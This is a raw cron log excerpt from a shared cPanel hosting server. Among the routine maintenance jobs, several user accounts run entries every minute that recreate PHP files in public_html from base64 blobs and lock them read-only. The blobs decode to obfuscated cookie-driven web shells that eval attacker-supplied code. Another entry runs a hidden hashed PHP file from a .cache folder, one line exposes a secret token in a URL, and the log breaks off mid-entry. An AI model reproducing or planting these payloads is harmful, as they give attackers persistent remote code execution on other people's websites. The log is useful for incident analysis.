Mar  1 15:39:01 medusa CROND[25326]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:39:01 medusa CROND[25327]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:39:01 medusa CROND[25328]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:39:01 medusa CROND[25329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:39:01 medusa CROND[25331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:39:01 medusa CROND[25335]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:39:01 medusa CROND[25336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:39:01 medusa CROND[25340]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:39:01 medusa CROND[25347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:39:01 medusa CROND[25349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:39:01 medusa CROND[25342]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:40:01 medusa CROND[15168]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:40:02 medusa CROND[15362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:40:02 medusa CROND[15363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:40:02 medusa CROND[15365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:40:02 medusa CROND[15364]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15377]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:40:02 medusa CROND[15381]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:40:02 medusa CROND[15380]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 15:40:02 medusa CROND[15382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:40:02 medusa CROND[15379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:40:02 medusa CROND[15386]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:40:02 medusa CROND[15387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:40:02 medusa CROND[15385]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:40:02 medusa CROND[15391]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15393]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15392]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:40:02 medusa CROND[15401]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:40:02 medusa CROND[15405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:40:02 medusa CROND[15407]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:40:02 medusa CROND[15412]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:40:02 medusa CROND[15419]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:40:02 medusa CROND[15411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:40:02 medusa CROND[15423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:40:02 medusa CROND[15413]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:41:02 medusa CROND[5775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:41:02 medusa CROND[5776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:41:02 medusa CROND[5777]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkp